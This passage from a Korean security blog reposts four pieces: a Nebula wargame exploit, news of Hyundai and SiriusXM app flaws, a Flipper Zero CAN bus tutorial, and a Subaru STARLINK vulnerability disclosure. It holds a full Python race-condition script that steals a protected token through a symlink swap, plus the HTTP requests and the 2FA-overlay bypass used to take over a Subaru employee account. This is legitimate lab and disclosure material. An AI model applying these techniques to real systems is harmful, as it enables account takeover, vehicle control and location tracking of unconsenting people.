	ln -s /home/flag10/token /tmp/level10/test; 
done

 

https://einai.tistory.com/entry/Nebula-Level09-Level10

 

[문제풀이] Nebula, Level09, Level10

※ LEVEL 09 Q. There’s a C setuid wrapper for some vulnerable PHP code… 1234567891011121314151617181920212223242526Colored by Color Scriptercs A. 여기는 /e modifier의 기능으로 발생되는 취약점이다. e(PCRE_REPLACE_EVAL) modifier 이 변

einai.tistory.com

본 워게임은 token 파일의 내용을 얻어야 하는데 보시다시피 읽기 권한이 없는 것을 알 수 있다. 따라서 조금 전에 말한 바와 같이 우리는 두 함수가 실행되는 그 차이를 이용해서 token 파일을 읽어올 것이다. 

간단히 순서는 
1. fake_token 파일 생성
2. fake_token 파일과 token 파일을 링크할 링크 파일 생성
3. 포트 오픈 
4. flag10 실행 파일의 인자로 2번에서 생성한 링크 파일을 제공 

https://flack3r.tistory.com/entry/exploit-exercisenebula-level10

 

[exploit exercise]nebula level10

...2시간 동안 삽질해서 푼 레이스컨디션.. 파이썬 코드로 작성했다. import os import socket import subprocess import threading import time import signal def read_until(s,msg): tmp = "" while True: tmp += s.recv(1) if msg in tmp: print

flack3r.tistory.com

 

import os
import socket
import subprocess
import threading
import time
import signal

def read_until(s,msg):
	tmp = ""
	while True:
		tmp += s.recv(1)
		if msg in tmp:
			print tmp
			return

def GetFlag():
	s = socket.socket()
	Port = ('localhost',18211)
	s.bind(Port)
	s.listen(10)
	while True:
		cs,addr = s.accept()
		#print "[*]serer start "
		pid = os.fork()
		if pid==0:
			print "[*]server connection success ! "
			print read_until(cs,".oO Oo.")
			time.sleep(1)
			buf = cs.recv(100)
			print "[*]file is "+buf
			os.system("echo \""+buf+"\"> result")
			exit()
		else:
			os.waitpid(pid,0)
def Racefile():
	while True:
		os.system("rm -rf token")
		os.system("echo 'aaa' >> token")
		os.system("rm -rf token;ln -sf /home/flag10/token token")
			

def Attack():
	while True:
		args = "/home/flag10/flag10 token 127.0.0.1"
		proc = subprocess.Popen(args,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE)
		output = proc.communicate()[0]
			
		#print "[*]result: %s" %(output)
		os.system("rm -rf token")


def main():
	pid = os.fork()
	if pid == 0:
		Racefile()

	pid2 = os.fork()
	if pid2 == 0:
		GetFlag()

	Attack()



if __name__ == '__main__':
	main()

블로그 이미지

wtdsoul

,

https://www.bleepingcomputer.com/news/security/hyundai-app-bugs-allowed-hackers-to-remotely-unlock-start-cars/

 

Hyundai app bugs allowed hackers to remotely unlock, start cars

Vulnerabilities in mobile apps exposed Hyundai and Genesis car models after 2012 to remote attacks that allowed unlocking and even starting the vehicles.

www.bleepingcomputer.com

 

Vulnerabilities in mobile apps exposed Hyundai and Genesis car models after 2012 to remote attacks that allowed unlocking and even starting the vehicles.

Security researchers found the issues and explored similar attack surfaces in the SiriusXM "smart vehicle" platform used in cars from other makers (Toyota, Honda, FCA, Nissan, Acura, and Infinity) that allowed them to "remotely unlock, start, locate, flash, and honk" them.

At this time, the researchers have not published detailed technical write-ups for their findings but shared some information on Twitter, in two separate threads (Hyundai, SiriusXM).

 

Hyundai issues

The mobile apps of Hyundai and Genesis, named MyHyundai and MyGenesis, allow authenticated users to start, stop, lock, and unlock their vehicles.

MyHyundai app interface (@samwcyo)

After intercepting the traffic generated from the two apps, the researchers analyzed it and were able to extract API calls for further investigation.

They found that validation of the owner is done based on the user's email address, which was included in the JSON body of POST requests.

Next, the analysts discovered that MyHyundai did not require email confirmation upon registration. They created a new account using the target's email address with an additional control character at the end.

 

Finally, they sent an HTTP request to Hyundai's endpoint containing the spoofed address in the JSON token and the victim's address in the JSON body, bypassing the validity check.

Response to the forged HTTP request, disclosing VIN and other data (@samwcyo)

To verify that they could use this access for an attack on the car, they tried to unlock a Hyundai car used for the research. A few seconds later, the car unlocked.

The multi-step attack was eventually baked into a custom Python script, which only needed the target's email address for the attack.

SiriusXM issues

SiriusXM Connected Vehicle Services is a vehicle telematics service provider used by more than 15 car manufacturers The vendor claims to operate 12 million connected cars that run over 50 services under a unified platform.

Yuga Labs analysts found that the mobile apps for Acura, BMW, Honda, Hyundai, Infiniti, Jaguar, Land Rover, Lexus, Nissan, Subaru, and Toyota, use SiriusXM technology to implement remote vehicle management features.

They inspected the network traffic from Nissan's app and found that it was possible to send forged HTTP requests to the endpoint only by knowing the target's vehicle identification number (VIN).

The response to the unauthorized request contained the target's name, phone number, address, and vehicle details.

Considering that VINs are easy to locate on parked cars, typically visible on a plate where the dashboard meets the windshield, an attacker could easily access it. These identification numbers are also available on specialized car selling websites, for potential buyers to check the vehicle's history.

 

In addition to information disclosure, the requests can also carry commands to execute actions on the cars.

Python script that fetches all known data for a given VIN (@samwcyo)

BleepingComputer has contacted Hyundai and SiriusXM to ask if the above issues have been exploited against real customers but has not received a reply by publishing time.

Before posting the details, the researchers informed both Hyundai and SiriusXM of the flaws and associated risks. The two vendors have fixed the vulnerabilities.


Update 1 (12/1) - Researcher Sam Curry clarified to BleepingComputer what the commands on SiriusXM case can do, sending the following comment:

For every one of the car brands (using SiriusXM) made past 2015, it could be remotely tracked, locked/unlocked, started/stopped, honked, or have their headlights flashed just by knowing their VIN number.

For cars built before that, most of them are still plugged into SiriusXM and it would be possible to scan their VIN number through their windshield and takeover their SiriusXM account, revealing their name, phone number, address, and billing information hooked up to their SiriusXM account.


Update 2 (12/1) - A Hyundai spokesperson shared the following comment with BleepingComputer:

Hyundai worked diligently with third-party consultants to investigate the purported vulnerability as soon as the researchers brought it to our attention.

 

Importantly, other than the Hyundai vehicles and accounts belonging to the researchers themselves, our investigation indicated that no customer vehicles or accounts were accessed by others as a result of the issues raised by the researchers. 

We also note that in order to employ the purported vulnerability, the e-mail address associated with the specific Hyundai account and vehicle as well as the specific web-script employed by the researchers were required to be known.

Nevertheless, Hyundai implemented countermeasures within days of notification to further enhance the safety and security of our systems. Hyundai would also like to clarify that we were not affected by the SXM authorization flaw.

We value our collaboration with security researchers and appreciate this team’s assistance.


Update 3 (12/1) - A SiriusXM spokesperson sent the following comment to BleepingComputer:

We take the security of our customers’ accounts seriously and participate in a bug bounty program to help identify and correct potential security flaws impacting our platforms.

As part of this work, a security researcher submitted a report to Sirius XM's Connected Vehicle Services on an authorization flaw impacting a specific telematics program.

The issue was resolved within 24 hours after the report was submitted.

 

At no point was any subscriber or other data compromised nor was any unauthorized account modified using this method.

Update 12/2/21: This article incorrectly stated the researchers worked for Yuga Labs.

 
블로그 이미지

wtdsoul

,

https://www.hackster.io/electronic-cats/can-flipper-hack-a-car-ce7ec0

 

CAN Flipper hack a car?

Dives you into using a Flipper Zero paired with CAN bus Add-On to access and interact with a car's CAN network. By Carlos Alatorre, Jazmín Hernández, and Andres Sabas.

www.hackster.io

 

Story

Electronic Cats Flipper CANBus Add-On 🐬

CAN bus Add-On is a board that allows Flipper Zero devices to connect to CAN bus networks. Along with the app, the Add-On can read real-time information through OBD2 connectors, making it useful for auditing cars.

Additionally, the app can communicate with “raw” CAN bus networks for sniffing and injecting messages. The app allows filtering the CAN dump, injecting messages to specific PIDs, and retrieving more information.

So let's begin, here is a video to warm up, showing one of the features of the Add-On, reading OBD2 data:

 

The primary aim of this tutorial is to expose the potential vulnerabilities of the CAN network in modern vehicles—not to bypass security features or gain unauthorized access, but to demonstrate how accessible data and commands are over this unencrypted network. By connecting the Flipper Zero device along with an Electronic Cats CANBus Add-On, either to a car’s OBD2 port or the CAN network, we’ll show how easy it can be to retrieve critical information and interact with vehicle systems in real-time.

We aim to emphasize the importance of cybersecurity in automotive design and encourage ethical research.

Understanding Car Electronics 🚘

Modern cars are built with intricate networks of Electronic Control Units (ECUs) that control and monitor nearly every electronic function. These ECUs act as miniature computers, each assigned to manage specific tasks: controlling engine performance, braking systems, transmission functions, and even comfort settings like air conditioning. The ECUs communicate with one another over a Controller Area Network (CAN), a robust protocol that enables them to exchange critical data and commands in real-time, ensuring the car operates as a cohesive system.

Overview of the ECUs network in a car

While the CAN protocol is efficient and reliable, it was not designed with robust security in mind. Once an unauthorized device gains access to the CAN network, it’s possible to read and, in some cases, inject CAN messages directly into the network. These messages, if crafted correctly, can control certain functions within the vehicle—from honking the horn to manipulating vehicle speed or locking systems.

Though auto manufacturers have implemented some safeguards, CAN networks remain susceptible to potential exploitation.

OBD2

The On-Board Diagnostics 2 (OBD2) port is a standardized gateway designed for vehicle diagnostics. OBD2 has become a versatile entry point to access real-time information on various vehicle parameters, read diagnostic codes, and even conduct performance tuning.

OB II conenctor in a car, located beneath the steering wheel.

PID (Parameters IDs)

PID codes are used to request data from a vehicle. There is an expected response for each PID given. Not all vehicles will support all PIDs and there can be manufacturer-defined custom PIDs that are not defined in the OBD2 standard. For example, mode 0x01 contains standardized PIDs that provide real-time data on speed, RPM, and fuel level.

You can find more information about the available PID codes and how they work in OBD2 PIDs.

DTC Codes

DTC (Diagnostic Trouble Codes), also referred to as engine fault codes, are used to identify and diagnose malfunctions in a vehicle. When a vehicle’s OBD system detects a problem, it activates the corresponding trouble code.

DTC codes structure

Manufacturer-specific codes must be referred to official brand documentation.

Installing the App ⬇️

The app is compatible with any firmware for Flipper, official or custom, as long as it matches the firmware version to what the app was compiled to. There is not much to worry about in this aspect because the app is usually updated each time a new official firmware stable version is released, so you can use the app with any Flipper firmware you want.

To install it, you only need to:

1. Go to the app repository in the Things used for this project.

2. Go to the releases section or enter this link directly: Flipper CANBUS app releases.

CANBUS Flipper App GitHub repository main view.

3. Download the .fap file from the Assets section.

4. Connect your Flipper to either qFlipper,Flipper Lab or the Flipper mobile app (if Experimental Options are enabled).

5. Using the File Manager system, navigate to the Apps Folder.

6. Upload the .fap file to the path you prefer. It is recommended to create a new folder or use an existing folder as the “Misc” folder.

.fap file save in the Flipper's memory

Done! When the app is installed, navigate in your Flipper to the path where the app file was saved and open it.

Find more information about the app and the Add-On in its wiki.

Testing with a real car

We have tested it with a real car, but we have done it safely, just accessing the OBD2 port and not connecting to the ECUs network. Connecting to the ECU network can break your car and can be dangerous for you and others, please act safely.

As shown in the video in the first section of this tutorial, we have been able to get typical data like the engine speed (RPM), time elapsed since the engine was turned on, and so on. Also, we have been able to get the VIN (Vehicle Identification Number), and DTC codes stored in the main ECU and delete them. Getting DTC codes along with your user manual book can be useful to get a better idea of what is going wrong with your car.

Here are some snapshots from the video:

 
 
 
 
1 / 5  OBD2 - Throttle position sensor data

This process was done by connecting the Flipper Add-On through an OBD2 connector, which only enables the CAN bus lines on the car's OBD2 port.

OBD2 connector attached to Flipper CAN bus Add-On

Testing with RAMN 🐏

RAMN (Resistant Automotive Miniature Network) is a miniature CAN/CAN-FD testbed of four Electronic Control Units (ECUs) that allows us to experiment without resorting to a real vehicle, which we could damage by playing with the CAN message injection.

Requirements:

  • Flipper Zero with CANBUS Add-On.
  • RAMN (built and programmed).
  • Cables for connecting CAN High and CAN Low.
  • Flipper MCP2515 CANBUS app installed on your Flipper.

Steps:

  • Attach the CAN bus Module to the Flipper Zero. Ensure the CAN bus Add-on module is securely attached to your Flipper. This module enables the Flipper to connect to and communicate over a CAN network.
  • Connect to the RAMN Simulator. Locate the CAN High and CAN Low terminals on the RAMN simulator.
  • Locate the CAN High and CAN Low terminals on the RAMN simulator.
  • Connect CAN High on the Flipper Add-On to CAN High on the RAMN.
  • Connect CAN Low on the Flipper Add-On to CAN Low on the RAMN.
CAN headers on RAMN are located near to the ECU D
  • Go to the CAN dump section in RAMN.
  • Open the CAN bus app in the Flipper.
CAN bus app opened and Add-On connected to the RAMN

Now, it is possible to sniff the CAN dump, inject packets, and read OBD2 data. RAMN does not support OBD2 messages, but since some CAN messages are sent over PIDs services these are taken as OBD2 packets, so Flipper can display typical data.

 
 

Here are some pictures for more of the tests with RAM:

 
 
 
 
1 / 2  Sniffing PID addresses list
Flipper reading OBD2 typical data.

Some data emulation is not supported by RAMN, like the VIN and DTC codes, so it is expected to see an error message.

TRANSMISSION FAILURE messag display due to unsupported features by RAMN

Concluding

The CAN Bus Add-On and the CAN Bus App for the Flipper Zero are versatile tools that extend their functionality beyond automotive diagnostics into industrial CAN network applications and so on. Paired with the right knowledge and wiring, this setup provides users with a powerful platform to monitor, analyze, and even interact with CAN communication in real-time. Whether you're troubleshooting, experimenting, or learning about CAN bus protocols, this add-on offers a portable and user-friendly solution to dive into the world of Controller Area Networks.

We invite you to visit other tutorials or the CANBUS Add-On Shield documentation to learn more:

Follow us for more projects and updates to come!

블로그 이미지

wtdsoul

,

https://samcurry.net/hacking-subaru

 

Hacking Subaru: Tracking and Controlling Cars via the STARLINK Admin Panel

On November 20, 2024, Shubham Shah and I discovered a security vulnerability in Subaru’s STARLINK admin panel that gave us unrestricted access to all vehicles and customer accounts in the United States, Canada, and Japan.

samcurry.net

Introduction

On November 20, 2024, Shubham Shah and I discovered a security vulnerability in Subaru’s STARLINK connected vehicle service that gave us unrestricted targeted access to all vehicles and customer accounts in the United States, Canada, and Japan.

Using the access provided by the vulnerability, an attacker who only knew the victim’s last name and ZIP code, email address, phone number, or license plate could have done the following:

  • Remotely start, stop, lock, unlock, and retrieve the current location of any vehicle.
  • Retrieve any vehicle’s complete location history from the past year, accurate to within 5 meters and updated each time the engine starts.
  • Query and retrieve the personally identifiable information (PII) of any customer, including emergency contacts, authorized users, physical address, billing information (e.g., last 4 digits of credit card, excluding full card number), and vehicle PIN.
  • Access miscellaneous user data including support call history, previous owners, odometer reading, sales history, and more.

After reporting the vulnerability, the affected system was patched within 24 hours and never exploited maliciously.

Vulnerability Writeup

A little over a year ago, I bought my mom a 2023 Subaru Impreza with the promise that she would let me borrow it to try and hack it. I’d spent the last few years hunting for vulnerabilities in other automakers, but didn’t yet have the chance to look at Subaru.

While visiting home for thanksgiving this year, I took my opportunity and asked for the account login to see if I could get anywhere.

Auditing the MySubaru Mobile App

The first thing I wanted to test was the MySubaru app. This app allowed users to send vehicle commands, so I proxied the app using Burp Suite and intercepted the telematic command HTTP requests, hoping to find a vulnerability to unlock cars without authorization.

The below request was sent when unlocking a car via the app:

POST /g2v30/service/g2/unlock/execute.json;jsessionid=AE6E4482F5C4493A79C8F3BD656F8BBA HTTP/1.1
Host: mobileapi.prod.subarucs.com
Content-Type: application/json
Connection: keep-alive
Accept: */*
User-Agent: MySubaru-PROD-SOA/2024110100 CFNetwork/1568.300.101 Darwin/24.2.0
Content-Length: 83
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br

{
  "delay": 0,
  "unlockDoorType": "ALL_DOORS_CMD",
  "vin": "4S3GTAV64P3701234",
  "pin": "1234"
}

After failing to bypass the authorization for in-app vehicle commands, I looked around the app a bit more but couldn’t find anything interesting to test. Everything seemed properly secured. There weren’t a lot of endpoints. The authorization worked really well.

Maybe testing the MySubaru app was the wrong approach.

From my past experience with car companies, I knew there could be publicly accessible employee-facing applications with broader permissions than the customer-facing apps. With that in mind, I decided to shift focus and started hunting for other Subaru-related websites to test.

Finding the Subaru Admin Panel

I sent my friend Shubs a message over Discord to see if he’d be interested in helping me find any potential Subaru employee applications. He said sure -- and then immediately sent me this message:

shubs — 11/19/2024
have you seen this host before?
subarucs.com

He noticed that ‘my.subaru.com’ (a domain that the MySubaru app was using) was a CNAME for ‘mys.prod.subarucs.com’ (a domain that I hadn’t seen before).

nslookup my.subaru.com
Server:         127.0.0.53
Address:        127.0.0.53#53

Non-authoritative answer:
my.subaru.com   canonical name = www.mysubaru.com.
www.mysubaru.com        canonical name = mys.prod.subarucs.com.
Name:   mys.prod.subarucs.com

We ran a scan to find other subdomains and checked the output:

…
STARLINK® Admin Portal - https://portal.prod.subarucs.com/login.html
…

Well, that definitely looked like employee functionality. From a quick Google, it appeared that STARLINK was the name of Subaru’s in-vehicle infotainment system which provided all of the remote functionality for the vehicle. This appeared to be an admin panel related to it.

The Subaru STARLINK admin panel.

At first glance, it didn’t seem like there would be much here. It was just a login panel, and we didn’t have any credentials. I checked the source of the website hoping to see a bit more, and the following bit caught my eye:

<script type="text/javascript" src="/assets/_js/starlinkEnroll.js"></script>

There were some interesting JavaScript files under the “/assets/_js/” folder that were loaded into the login page, so I went ahead and brute forced the directory in hopes of finding other JavaScript files.

After a few minutes of running FFuF, we got a hit for a “login.js” file which the following very interesting code snippet:

$('#new_password_submit').on('click', function(e) {
	e.preventDefault();
	if($('#forgot-password-step4-form').valid()) {
		disableBtns();
		$.ajax({
            url: "/forgotPassword/resetPassword.json",
			type: "POST",
            contentType: "application/json",
            data: JSON.stringify({
                email: email,
                password: $('#new_password').val(),
                passwordConfirmation: $('#confirm_new_password').val()
            }),
			async: false
		}).done(function (response) {

It appeared that there was a “resetPassword.json” endpoint that would reset employee’s accounts without a confirmation token!

If this worked how it was written in the JavaScript, then an attacker could simply enter any valid employee email and take over their account. I sent the following POST request to confirm that the functionality was even accessible:

HTTP Request

POST /forgotPassword/resetPassword.json HTTP/1.1
Host: portal.prod.subarucs.com

{
  "email": "random@random.com",
  "password": "Example123!",
  "passwordConfirmation": "Example123!"
}

HTTP Response

HTTP/1.1 200
Content-type: application/json
Content-length: 7

“error”

It seemed to be working, we just needed to find an employee’s email address to test it on. Since this was a fairly large application, there were probably a bunch of different users, we just needed to find some way to enumerate them. I dug through the rest of the JS looking for an endpoint that might let us enumerate emails until I saw the following:

HTTP Request

GET /adminProfile/getSecurityQuestion.json?email=example@example.com HTTP/1.1
Host: portal.prod.subarucs.com

HTTP Response

HTTP/1.1 200
Content-type: application/json
Content-length: 7

{
  "error": "Invalid email"
}

The above endpoint would return the user’s security questions if their email was valid. We could use this to enumerate user accounts until we found someone that was active on this platform.

Enumerating Employee Emails

Using LinkedIn, we did a quick search for “Subaru STARLINK” and found a few employees who appeared to be software engineers. After getting their names, we Googled and found that Subaru emails are in the following format:

[first_initial][last]@subaru.com

We tossed the few emails that we’d pieced together into the “getSecurityQuestion.json” endpoint and hit send. On the fourth attempt, we got a response back!

<label for="securityQuestionId">
  <span class="securityQuestionText">What city were you born in?</span>
</label>

The jdoe@subaru.com (redacted) email was valid! We went back to the reset password endpoint and hit send.

HTTP Request

POST /forgotPassword/resetPassword.json HTTP/1.1
Host: portal.prod.subarucs.com

{
  "email": "jdoe@subaru.com",
  "password": "Example123!",
  "passwordConfirmation": "Example123!"
}

HTTP Response

HTTP/1.1 200
Date: Wed, 20 Nov 2024 03:02:31 GMT
Content-Type: application/json
Connection: close
X-Frame-Options: SAMEORIGIN
Content-Length: 9

"success"

It worked! We tried logging in.

We had successfully taken over an employee’s account, but there was now a 2FA prompt to actually use the website. It was custom, so we tried to see if there was anything to do to bypass it.

Bypassing 2FA

We tried the simplest thing that we could think of: removing the client-side overlay from the UI.

Match

$('#securityQuestionModal').modal('show');

Replace

//$('#securityQuestionModal').modal('show');

After removing the client-side overlay, we clicked around and the whole app seemed to function normally. All of the buttons worked, and were returning server-side data.

2FA bypassed.

Tracking My Mom for the Last Year

The left navbar had a ton of different functionality, but the juiciest sounding one was “Last Known Location”. I went ahead and typed in my mom’s last name and ZIP code. Her car popped up in the search results. I clicked it and saw everywhere my mom had traveled the last year:

DateOdometerLocation

11/21/2024 6:18:56 PM 14472.6 41.30136,-96.161142
11/21/2024 4:59:51 AM 14472.6 41.301402,-96.161134
11/21/2024 4:49:02 AM 14472.6 41.301286,-96.161145
11/02/2023 1:44:24 PM 6440.6 41.256003,-96.080627
11/01/2023 9:52:47 PM 6432.5 41.301248,-96.159951
11/01/2023 12:16:02 PM 6425.2 41.259397,-96.078775

The “Last Known Location” endpoint was more than the last location, it gave me the exact coordinates of everywhere that she had started her engine or used a telematics command over the last year. I didn’t realize this data was being collected, but it seemed that we had agreed to the STARLINK enrollment when we purchased it.

To better understand the data, I exported a year’s worth of location history from my mom’s 2023 Impreza and imported it into the Google Maps iframe below. The below map is a slightly modified export (some sensitive bits removed) of all of the locations she had visited.

Visualizing a Year of Subaru Location History

Map displaying 1,600 leaked coordinates from a 2023 Subaru Impreza, similar data was retrievable for any internet-connected Subaru

Our STARLINK purchase agreement history, accessible from the admin panel.

There were a ton of other endpoints. One of them was a vehicle search which let you query a customer’s last name and zip code, phone number, email address, or VIN number (retrievable via license plate) and grant/modify access to their vehicle.

Retrieving street address, phone number, email, emergency contacts, authorized users, and billing information of any Subaru STARLINK customer.

The STARLINK search functionality which allows you to search via zip code and last name, VIN, email address, and phone number.

Unlocking a Friend’s Car

After searching and finding my own vehicle in the dashboard, I confirmed that the STARLINK admin dashboard should have access to pretty much any Subaru in the United States, Canada, and Japan. We wanted to confirm that there was nothing we were missing, so we reached out to a friend and asked if we could hack her car to demonstrate that there was no pre-requisite or feature which would’ve actually prevented a full vehicle takeover.

She sent us her license plate, we pulled up her vehicle in the admin panel, then finally we added ourselves to her car.

Adding ourselves as an authorized user to our friend's Subaru to demonstrate that we could execute commands on their vehicle.

We waited a few minutes, then we saw that our account had been created successfully.

Now that we had access, I asked if they could peek outside and see if anything was happening with their car. I sent the “unlock” command. They then sent us this video.

Success!

Afterwards, she confirmed that she did not receive any notification, text message, or email after we added ourselves as an authorized user and unlocked her car.

Timeline

  • 11/20/24 11:54 PM CST: Initial report sent to SecOps email
  • 11/21/24 7:40 AM CST: Initial response from Subaru team
  • 11/21/24 4:00 PM CST: Vulnerability fixed, unable to reproduce
  • 01/23/25 6:00 AM CST: Blog post released

Addendum

When writing this, I had a really hard time trying to do another blog post on car hacking. Most readers of this blog already work in security, so I really don’t think the actual password reset or 2FA bypass techniques are new to anyone. The part that I felt was worth sharing was the impact of the bug itself, and how the connected car systems actually work.

The auto industry is unique in that an 18-year-old employee from Texas can query the billing information of a vehicle in California, and it won’t really set off any alarm bells. It’s part of their normal day-to-day job. The employees all have access to a ton of personal information, and the whole thing relies on trust.

It seems really hard to really secure these systems when such broad access is built into the system by default.

'News' 카테고리의 다른 글

CAN Flipper hack a car? (펌)  (0) 2025.02.02
Solar Storm supply chain attack  (0) 2020.12.25
twitter iOS News  (0) 2020.12.07
[News] DNS Cache Poisoning  (0) 2020.12.06
테슬라 모델X 전자 제어 장치 해킹 관련  (0) 2020.12.06
블로그 이미지

wtdsoul

,
블로그 이미지

wtdsoul

,